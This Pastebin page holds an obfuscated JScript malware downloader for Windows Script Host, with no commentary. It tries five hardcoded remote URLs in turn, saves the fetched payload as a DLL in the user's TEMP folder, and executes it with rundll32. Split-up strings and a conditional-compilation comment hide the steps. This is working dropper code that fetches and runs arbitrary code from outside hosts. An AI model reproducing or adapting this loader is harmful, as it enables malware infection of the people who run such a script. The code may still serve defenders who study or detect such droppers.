Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- IPz3l0z = ["http://vexerrais.net/6sbdh","http://centinel.ca/wkr1j6n","http://3-50-90.ru/u4y5t","http://alpermetalsanayi.com/vuvls","http://flurrbinh.net/6mz3c5q"];
- XLs5g2t = "4Xg1KlEcvEX4";
- var Nh4f8m=1;
- var HOy6j5g=2;
- var PBz7l2a=2;
- var Tq6n3y="437";
- var LDy7o9q=WScript["CreateObject"]("WScript.Shell");
- var BRl2w6y=LDy7o9q.ExpandEnvironmentStrings("%T"+"EMP%/");
- var FHq1c5y=BRl2w6y + XLs5g2t;
- var Tr5l0x=FHq1c5y + ".d" + "ll";
- var Pp2s0l = LDy7o9q.Environment("System");
- if (Pp2s0l("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64")
- {
- var Nw7h6n = LDy7o9q.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\rundll32.exe");
- }
- else
- {
- var Nw7h6n = LDy7o9q.ExpandEnvironmentStrings("%SystemRoot%\\system32\\rundll32.exe");
- }
- var Lh9l4c=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"];
- for (var AYm6j9h=0; AYm6j9h < Lh9l4c["length"]; AYm6j9h++)
- {
- try
- {
- var UNv3v1l=WScript["CreateObject"](Lh9l4c[AYm6j9h]);
- break;
- }
- catch (e)
- {
- continue;
- }
- };
- var Sx1b2j = new ActiveXObject("Scripting.FileSystemObject");
- var Li0k1v = 0;
- for (var Ei1r4d = 0; Ei1r4d < IPz3l0z.length; Ei1r4d = Ei1r4d + 1)
- {
- try
- {
- UNv3v1l["open"]("GET", IPz3l0z[Ei1r4d], false);
- UNv3v1l["send"]();
- while (UNv3v1l.readystate < 4) WScript["Sleep"](100);
- var HAx9r7e=WScript["CreateObject"]("ADODB.Stream");
- HAx9r7e["open"]();
- HAx9r7e["type"]=Nh4f8m;
- HAx9r7e["write"](UNv3v1l["ResponseBody"]);
- HAx9r7e["position"]=0;
- HAx9r7e["Sav"+"eToFile"](Tr5l0x, PBz7l2a);
- HAx9r7e["close"]();
- var GGv7p6y = Sx1b2j.GetFile(Tr5l0x);
- var KUk1w4n = GGv7p6y.ShortPath;
- /*@cc_on
- LDy7o9q["Run"](Nw7h6n + " " + KUk1w4n + ",boobs");
- @*/
- WScript.Quit(0);
- }
- catch (e) {continue;};
- }
- WScript.Quit(0);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement